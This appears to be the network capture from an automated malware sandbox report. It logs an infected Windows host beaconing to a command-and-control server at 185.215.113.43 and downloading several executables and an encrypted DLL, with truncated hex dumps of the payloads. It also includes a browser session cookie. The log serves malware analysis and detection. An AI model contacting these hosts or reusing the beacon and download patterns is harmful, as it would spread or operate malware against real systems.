Dec 2, 2024 11:22:33.049398899 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U6nODbT+ZcqS$-S`YTp`2AU$ [TRUNCATED]
Dec 2, 2024 11:22:33.049614906 CET	1289	IN	Data Raw: b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f 93 4c 77 d3 55 7c 9f 7d 81 ef cd 22 05 b0 47 69 f8 39 f7 c5 5a b9 f2 49 78 eb 88 cb c4 14 b5 77 2e fa f7 9d bb ec 16 73 59 15 8f 18 c6 be 2d ee df 4b e4 03 Data Ascii: vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL4Oiwxdivm)QBe45aAW&AX
Dec 2, 2024 11:22:33.049655914 CET	1289	IN	Data Raw: e9 ba 2b 3a e9 20 e4 2a 72 b7 9f 55 aa 7a 06 c8 fe 9d 0c 8a f0 28 b8 dd 2d 64 46 1f 49 3f 5b c3 bf 2a 56 b0 e2 48 94 b3 9c 12 07 9e b8 b4 97 30 2d b8 ef 21 15 de 9a 7b 3c e8 2f 97 42 ab c1 67 d4 9b 9b 65 e8 10 f6 c1 e6 21 e3 ed 19 a9 cf 80 e3 d1 Data Ascii: +: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4uaMo#JK1xY1B7VG`<o`<'>Q&Md42R32zD4:6vaG3
Dec 2, 2024 11:22:33.049864054 CET	1289	IN	Data Raw: 7d 71 86 5e 36 76 0a 87 50 ca dd 32 27 5c 3a ae 29 0a a7 cb 0e 8b be 82 17 6a 88 f6 a8 21 67 a7 4a 9d bb 9d f9 48 88 a9 bf 1c cb 9f 3a b0 96 79 b1 af ff 05 41 ef 05 d4 22 2e c1 b5 fb cc 83 45 3c 1d 9b 84 b6 11 05 74 f4 6a 29 ea 95 12 3e 4e c6 5d Data Ascii: }q^6vP2'\:)j!gJH:yA".E<tj)>N]n)aJWM(p9c=M&]]uZtSNW?vr>o+X<T<RvNdl:b=l{bK)06(]LiR(:'hb
Dec 2, 2024 11:22:33.049932003 CET	1289	IN	Data Raw: d0 80 4f ca 30 86 e8 cd a5 69 6e 6f b6 6c 07 1d c8 11 25 f2 1f 74 2d 83 1a ee 39 18 27 11 d8 19 a1 b5 bf 10 bd df 8b f4 fe 95 f6 97 67 5c 9b d1 1d 4d d2 1e e3 96 dc 44 87 9c e7 63 6c 14 6e 5a 9a 91 48 6d 6f 1d 74 74 9b 44 bc c1 38 4d d4 a2 a2 0b Data Ascii: O0inol%t-9'g\MDclnZHmottD8MZpDJ$ERJW'\VQMf.5gs6YQK-<2s{BSP\|@M;l%&\~LIOk{1X4/bMMMw /c)F1{FsI`F
Dec 2, 2024 11:22:33.050067902 CET	1289	IN	Data Raw: 17 29 99 bc 3f 01 74 b8 67 78 d2 9b 58 8d f7 c6 05 43 3e cb ad f6 e4 57 f7 44 ea f7 c4 0d 07 6c ed 64 b8 d5 da d9 11 d4 c2 75 8e ca d6 59 9c 63 97 99 15 24 3c fe f9 3f 12 60 17 eb 4a af 1c 4d 1f fe b9 2f 58 ae 51 42 1a 9c 14 eb 0e 66 c4 98 8d 57 Data Ascii: )?tgxXC>WDlduYc$<?`JM/XQBfWR1c<(+6EiWKH\'Wgru.g:TujQ[yo?tI4D}.@bA{2&9CFF:/lqCg&!W8yrfu4mjkn
Dec 2, 2024 11:22:33.050122023 CET	1289	IN	Data Raw: 86 f0 7e 33 5f c9 ac 35 f4 c2 2e aa 64 bb e1 c2 8b ec 4a 1c 99 3e d8 45 78 02 7a c4 2b e1 52 6d 30 96 63 3d 64 44 34 b8 93 33 a6 fc eb 01 bf 18 95 12 fa e2 c9 48 a3 1f de 7a 3f 1b ef 56 c9 8e 48 c8 0d 14 86 34 ff 5d 64 0b fd 45 9d 32 85 c4 21 df Data Ascii: ~3_5.dJ>Exz+Rm0c=dD43Hz?VH4]dE2!&UaXM>o,c7&FXWyU(>\eyQ~UKV'w$*8'E[[+Q`,Jz}.G^pbLdYO/[)o319Xz&k(pB~IjB1
Dec 2, 2024 11:22:33.050389051 CET	1289	IN	Data Raw: 81 56 8a da a3 c2 89 b5 74 f0 b2 92 78 88 36 2f 4e b0 ee 93 6a 0b 2b 88 c2 f1 9c 19 04 1c ee cd 3a 53 a5 3e 77 be b0 b9 9c 8f fd 7c 15 c2 87 35 b3 c3 e4 86 2d 55 b8 be 07 9a 33 ba df 49 57 3b 27 cb 48 71 9e ec e4 38 1c 68 20 a7 f2 4f 92 77 46 c5 Data Ascii: Vtx6/Nj+:S>w\|5-U3IW;'Hq8h OwFNRO0!- v0VYq=_epw^Rz2DyPBh0;ZP!WD.&\"'A2tCarnt9zq]&gmk0~q\mk0G
Dec 2, 2024 11:22:33.050421953 CET	1289	IN	Data Raw: 47 8d 52 fa 97 99 a0 43 b3 2d 6e 3b 35 c8 c0 c6 4a fa 90 82 1c 0c c6 0c be 63 70 2d 5e 06 f9 a0 88 b2 fe 94 69 78 3a 4d 9f ad 12 4c f0 0a b3 a2 cb 51 00 a5 7b 91 82 2b bb fa aa 10 54 85 b0 7c f4 3c 4b 81 dd ca da d8 19 bf dc 6e eb 76 44 8c 05 1f Data Ascii: GRC-n;5Jcp-^ix:MLQ{+T\|<KnvDBXfbyQ#^XJx^0V\|eQSSO^_]/qA]E<P/(#o(MDvo.QcR*S8k][[{
Dec 2, 2024 11:22:33.050452948 CET	1289	IN	Data Raw: 93 7c a9 be 5b 41 f1 b1 38 bc e4 80 f5 2a 12 1e 39 e6 d0 ae 98 c1 0b 4b e0 90 07 04 7c d4 0b 2b 53 92 54 65 fd f5 63 a1 24 fa 52 82 fe 3a 65 6f b5 81 39 e1 46 11 6c 91 89 bd 6f c7 b7 53 9a 15 d4 87 13 dd 78 a7 a2 89 47 7e 72 1e 4d 48 0f 27 c4 2b Data Ascii: \|[A8*9K\|+STec$R:eo9FloSxG~rMH'+},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjyjGEQAQ.b3zH
Dec 2, 2024 11:22:33.332216978 CET	1289	IN	Data Raw: 66 fe 3b 07 c2 f6 2f 94 41 e8 3a bb f0 a6 e0 70 91 f8 b5 07 ba 33 64 e5 10 c9 c3 4c 45 a0 bb 1d be 39 a8 b0 91 8b 84 d5 b4 5e dd a5 99 8c c2 08 34 7d 31 f8 56 c6 3f eb 17 ad 46 1c 48 2b 47 28 5e a3 1d e1 78 ec c5 44 1f 31 3e 7e db ac 7e 25 5f 24 Data Ascii: f;/A:p3dLE9^4}1V?FH+G(^xD1>~~%_$ xU'B[\6krh-2=`%w#F{Z9hK5{dU2EC1*)uQQT\|Hkn,H\q!67<~5.lY;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.20	49893	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:34.030637026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 2, 2024 11:22:34.352787018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.20	49899	92.63.197.221	80	6336	C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:34.265098095 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 92.63.197.221 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:22:34.966926098 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:34 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="ONE.file"; Content-Length: 3682125 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@@P,CODEd `DATAL@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P [TRUNCATED]
Dec 2, 2024 11:22:34.967096090 CET	1289	IN	Data Raw: 06 73 74 72 69 6e 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 10 40 00 00 00 00 00 6d 11 40 00 04 00 00 00 00 00 00 00 c4 29 40 00 ac 28 40 00 d4 28 40 00 18 29 40 00 11 00 0b 00 24 29 40 00 04 46 72 65 65 13 00 30 29 40 00 0c 49 6e 69 Data Ascii: string<@m@)@(@(@)@$)@Free0)@InitInstanceL)@CleanupInstanceh(@ClassTypel(@ClassName(@ClassNameIs(@ClassParent)@ClassInfo(@InstanceSize)@InheritsFrom)@D
Dec 2, 2024 11:22:34.967113972 CET	1289	IN	Data Raw: c3 90 53 56 57 55 83 c4 ec 89 4c 24 04 89 14 24 c7 44 24 08 ff ff ff ff 33 d2 89 54 24 0c 8b e8 8b 04 24 03 c5 89 44 24 10 8b 1d 3c c4 40 00 eb 51 8b 3b 8b 73 08 3b ee 77 46 8b c6 03 43 0c 3b 44 24 10 77 3b 3b 74 24 08 73 04 89 74 24 08 8b c6 03 Data Ascii: SVWUL$$D$3T$$D$<@Q;s;wFC;D$w;;t$st$C;D$vD$hjVu@<@uD$3\|$tD$T$D$+D$T$B]_^[SVWUL$$$T$D$(D$+T
Dec 2, 2024 11:22:34.967335939 CET	1289	IN	Data Raw: 00 00 a1 74 c4 40 00 50 e8 34 f8 ff ff 33 c0 a3 74 c4 40 00 8b 1d 3c c4 40 00 eb 12 68 00 80 00 00 6a 00 8b 43 08 50 e8 25 f8 ff ff 8b 1b 81 fb 3c c4 40 00 75 e6 b8 3c c4 40 00 e8 89 f8 ff ff b8 4c c4 40 00 e8 7f f8 ff ff b8 78 c4 40 00 e8 75 f8 Data Ascii: t@P43t@<@hjCP%<@u<@L@x@u4@t4@P4@udh@=2@th@h@C[]S;h@uPh@PH*;ut@3Tt@T
Dec 2, 2024 11:22:34.967354059 CET	1289	IN	Data Raw: 89 1f eb 63 81 fe 00 10 00 00 7f 0d 8b c6 e8 89 ff ff ff 8b d8 85 db 75 4e 8b c6 e8 1c ff ff ff 84 c0 75 07 33 c0 e9 88 00 00 00 3b 75 00 7f a4 29 75 00 83 7d 00 0c 7d 08 03 75 00 33 c0 89 45 00 a1 70 c4 40 00 01 35 70 c4 40 00 8b d6 83 ca 02 89 Data Ascii: cuNu3;u)u}}u3Ep@5p@@5@L6S+\|`;uC @5@]_^[USVW=@u+u3ET3UhH!@d6d&=2@
Dec 2, 2024 11:22:34.967463970 CET	1289	IN	Data Raw: 00 e8 55 f9 ff ff 8b dd 03 df f6 03 02 75 4d 8b d3 8b c2 8b 48 08 89 0c 24 8b 0c 24 3b 4c 24 04 73 0e 03 14 24 8b da 8b 04 24 29 44 24 04 eb 2c e8 66 f6 ff ff 8b 44 24 04 29 04 24 83 3c 24 0c 7c 0e 8b c5 03 c6 8b 14 24 e8 8d f8 ff ff eb 3a 03 34 Data Ascii: UuMH$$;L$s$$)D$,fD$)$<$\|$:4$#.t!%T$t3+@E%uYZ]_^[UQSVW=@u/u3E3Uh%@d2d"=2@th@\
Dec 2, 2024 11:22:34.967592001 CET	1289	IN	Data Raw: fc c3 57 89 d7 ab 8b 48 e8 31 c0 51 c1 e9 02 49 f3 ab 59 83 e1 03 f3 aa 89 d0 5f c3 8b c0 53 56 89 c3 8b 30 8b 56 d0 8b 76 ec 85 d2 74 07 e8 f3 0b 00 00 89 d8 85 f6 75 eb 5e 5b c3 8b c0 85 c0 74 10 8b 00 39 d0 74 08 8b 40 ec 85 c0 75 f5 c3 b0 01 Data Ascii: WH1QIY_SV0Vvtu^[t9t@u@W{tQftY[u_X)\G_9t@u@@SfftfsPXt[[aSVW11ptf>N8tfOu@u
Dec 2, 2024 11:22:34.967609882 CET	1289	IN	Data Raw: 68 64 2e 40 00 64 ff 75 00 64 89 65 00 85 f6 74 0e 78 0a 4e 8b 2c b7 4e 55 79 f9 eb 02 db 2f ff d3 31 d2 31 c9 eb 47 b8 01 00 00 00 c3 e8 f3 f9 ff ff 8b 44 24 04 8b 54 24 08 f7 40 04 06 00 00 00 75 e4 83 48 04 02 6a 00 50 68 8c 2e 40 00 52 e8 40 Data Ascii: hd.@dudetxN,NUy/11GD$T$@uHjPh.@R@D$Pu@@1dedE]@ZTUWVSPRTjjhR@D$0@/@tB`8tB1dY]_^[@+
Dec 2, 2024 11:22:34.967835903 CET	1289	IN	Data Raw: 85 d2 74 61 85 c9 0f 84 9c fe ff ff 3b 10 74 5c 3b 08 74 0e 50 51 e8 8d fe ff ff 5a 58 e9 9a ff ff ff 53 56 57 89 d3 89 ce 50 8b 43 fc 03 46 fc e8 df fe ff ff 89 c7 89 c2 89 d8 8b 4b fc e8 01 f3 ff ff 89 fa 89 f0 8b 4e fc 03 53 fc e8 f2 f2 ff ff Data Ascii: ta;t\;tPQZXSVWPCFKNSXtOG_^[<ISVRP1LtAJuPDtHKuZXtJZ^[X$@tPB~Pt4@t+JIt%SB
Dec 2, 2024 11:22:34.967854023 CET	1289	IN	Data Raw: 00 04 00 00 56 53 e8 f0 d9 ff ff 85 c0 74 05 e8 df fe ff ff 5f 5e 5b 8b e5 5d c3 55 8b ec 51 53 8b d8 33 c0 89 45 fc 8b 42 08 8d 55 fc e8 21 fe ff ff 8b c3 e8 ca fe ff ff 66 c7 03 00 01 8b 45 fc 89 43 08 5b 59 5d c3 8d 40 00 53 56 8b d8 8b 42 08 Data Ascii: VSt_^[]UQS3EBU!fEC[Y]@SVBfs^[USEff;uEf=uYfuEfEE3Uh-9@d0d UE3ZYYdh9@E fuXf
Dec 2, 2024 11:22:35.250710011 CET	1289	IN	Data Raw: 0a 00 00 00 33 d2 f7 f1 80 c2 30 88 13 4b 85 c0 75 f2 bb 30 b0 40 00 a1 28 c0 40 00 2d 78 11 40 00 8b d0 83 e2 0f 8a 92 1c 3e 40 00 88 13 4b c1 e8 04 75 ed 80 3d 31 c0 40 00 00 75 15 6a 00 68 32 b0 40 00 68 14 b0 40 00 6a 00 e8 12 d4 ff ff eb 14 Data Ascii: 30Ku0@(@-x@>@Ku=1@ujh2@h@j@@18@@=@u5 @@ @@=@5@@-@0123456789ABCDEF33(@3(

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	49903	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:34.358982086 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 2, 2024 11:22:34.680507898 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:34 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Mon, 02 Dec 2024 09:40:02 GMT Connection: keep-alive ETag: "674d8072-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 a6 f4 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+`Ui` @ @.rsrc`2@.idata 8@dnxjhbas@*:@tbdzewvr d@.taggant@+"h@ [TRUNCATED]
Dec 2, 2024 11:22:34.680684090 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:34.680705070 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:34.680951118 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:34.680972099 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:34.680993080 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:34.681179047 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:34.681201935 CET	1289	IN	Data Raw: c3 2a 51 56 07 3b f4 d6 67 03 57 ab 0c 45 6b cf a8 d8 14 90 5a 72 01 4e 83 00 9f f0 58 e0 03 4d 1b 85 88 26 de 70 e0 83 6d 67 81 61 c3 cf 51 72 7d 74 49 65 eb 67 d5 c5 e4 d5 e1 41 28 e0 50 91 78 eb 31 05 67 6a 25 40 83 ea 85 4b ba a8 18 28 d2 69 Data Ascii: QV;gWEkZrNXM&pmgaQr}tIegA(Px1gj%@K(iXwnIjl(cUm81M0?#VK7L1nAUWBu-a-dOXoc5C]K@#U]<L1o9I.MkI[YXC4QOfJ1TX
Dec 2, 2024 11:22:34.681401968 CET	1289	IN	Data Raw: 39 71 52 12 29 a1 85 9c 76 ea a7 26 40 47 91 d4 24 42 98 bb 79 5a d8 27 27 2c 76 15 12 40 32 9c 60 fc 83 a3 26 e3 22 25 99 37 7a 03 66 41 af e3 f7 92 5d 58 c9 40 19 6c 60 f8 5d 2d 5a 42 f8 6d f8 45 cb 2c 21 4c 05 29 a6 f5 88 37 a4 a3 63 95 26 73 Data Ascii: 9qR)v&@G$ByZ'',v@2`&"%7zfA]X@l`]-ZBmE,!L)7c&sK\.(nIR},KcvcI[,5k}!4@w'%i$b.HAC5Cp}H3~cZ'cH#AY<XI,/wIPJM%MZ
Dec 2, 2024 11:22:34.681457996 CET	1289	IN	Data Raw: 20 a5 b2 5e 31 e2 41 ec 8a db 24 e7 25 d7 35 de 3a 82 16 2e 34 ce 22 fc 4c e2 31 69 c4 58 cc 66 55 cb 52 0b ef 4c 1d 49 09 d3 06 5b 33 42 02 fa b5 56 15 30 28 ae 4a d7 f5 76 04 9c 0c 53 e6 d4 42 94 77 1f e2 85 03 ea 68 b6 a5 1a 46 11 98 d7 f0 70 Data Ascii: ^1A$%5:.4"L1iXfURLI[3BV0(JvSBwhFp,%&\|^A@N_"j8Q9~Rfge%EEg6Jnh6OUB_wGY=F:u%^!PPW(ZE fY%z#gCHa!k1D?sO
Dec 2, 2024 11:22:35.002830029 CET	1289	IN	Data Raw: 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 Data Ascii: GeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGe P8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.11.20	49905	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:36.185787916 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49725	142.250.69.4	443	9604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:20:12 UTC	815	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEIrJ7OAQiIo84BCOSvzgEIw7bOAQi9uc4BCO28zgEIu73OAQjWvc4BCMy/zgEYwcvMARi9rs4BGJ2xzgE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
